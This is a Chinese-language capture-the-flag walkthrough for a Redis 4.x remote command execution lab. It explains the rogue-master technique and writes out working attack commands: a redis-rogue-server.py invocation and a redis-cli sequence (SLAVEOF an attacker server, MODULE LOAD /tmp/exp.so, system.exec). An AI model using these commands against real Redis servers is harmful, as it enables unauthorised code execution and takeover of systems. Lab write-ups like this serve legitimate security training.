靶机信息
可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 渗透测试靶场 -> Redis 4.x – 远程命令执行
漏洞科普
Redis 4.x 远程命令执行(RCE)漏洞并不是传统意义上的代码漏洞,而是利用了 Redis 4.0 之后新增的插件模块(Module)功能,结合其原有的主从复制机制实现的一种“功能性利用”。攻击者通过将受害者的 Redis 服务器设置为自己的“从节点(Slave)”,利用同步机制将一个恶意的动态链接库(.so 文件)发送到受害者机器上。
执行过程通常被称为“Rogue Server(流氓服务器)攻击”:首先,攻击者在公网上架设一个伪装成 Redis 主节点的服务器;接着,通过未授权访问或弱口令登录目标 Redis,执行 SLAVEOF 命令让目标连接到攻击者的服务器。在同步过程中,攻击者的服务器会发送一个精心构造的恶意插件文件,目标 Redis 会将其保存在磁盘上。最后,攻击者利用 MODULE LOAD 指令加载该文件,从而在目标系统上获得执行任意系统命令的权限。
这种攻击方式在 2019 年左右非常流行,其杀伤力在于:它绕过了以往 Redis 只能写文件(如写 Webshell 或 SSH 公钥)的局限,直接通过内存加载模块实现无损、即时的系统权限获取。
靶机实战
首先开启靶机获取靶机地址(注意:非WEB应用,应该使用专用客户端去连接Redis)
![图片[1] - 【靶机实战】Redis 4.x 远程命令执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2026/03/image-16.png)
使用专用客户端去连接Redis,此处确保可以成功未授权连接到Redis。
![图片[2] - 【靶机实战】Redis 4.x 远程命令执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2026/03/image-17.png)
使用redis-rogue-server脚本进行RCE攻击,此脚本基本使用共有两个方式:主动连接模式 和 被动连接模式,在使用的时候有一些区别。
| 主动连接模式 | 被动连接模式 | |
| 出网情况 | 需要攻击机器能够连接到目标,且必须能互相通讯(靶机出网或者同一网段) | 目标在内网,但是必须出网或者和攻击机在同一网段 |
| 适用情况 | Redis服务处于外网 | Redis服务处于内网 |
首先演示 redis-rogue-server脚本 的主动连接模式,在公网服务器上使用以下命令直接连接目标直接获取可交互的WebShell。(注意:lhost设置的IP必须要让你目标的redis可以连接到,一般来说设置公网IP即可。)
python3 redis-rogue-server.py --rhost <目标host> --rport <目标redis端口> --lhost <运行脚本机器的公网IP> --lport=<任意,默认21000>
![图片[3] - 【靶机实战】Redis 4.x 远程命令执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2026/03/image-18.png)
然后演示 被动连接模式 ,使用以下命令架设恶意的redis从服务,开启监听。
python3 redis-rogue-server.py --server-only
![图片[4] - 【靶机实战】Redis 4.x 远程命令执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2026/03/image-19.png)
然后连接到Redis-cli,输入以下命令。
CONFIG SET dir /tmp/
CONFIG SET dbfilename exp.so
SLAVEOF <你的服务器IP> <服务器端口>
//这一步的服务器IP和端口是指上面架设恶意的redis从服务服务器
MODULE LOAD /tmp/exp.so
system.exec "id"
system.exec "whoami"
![图片[5] - 【靶机实战】Redis 4.x 远程命令执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2026/03/image-20.png)
通过上面方式都可以执行命令,直接读取根目录flag文件即可获取flag。















暂无评论内容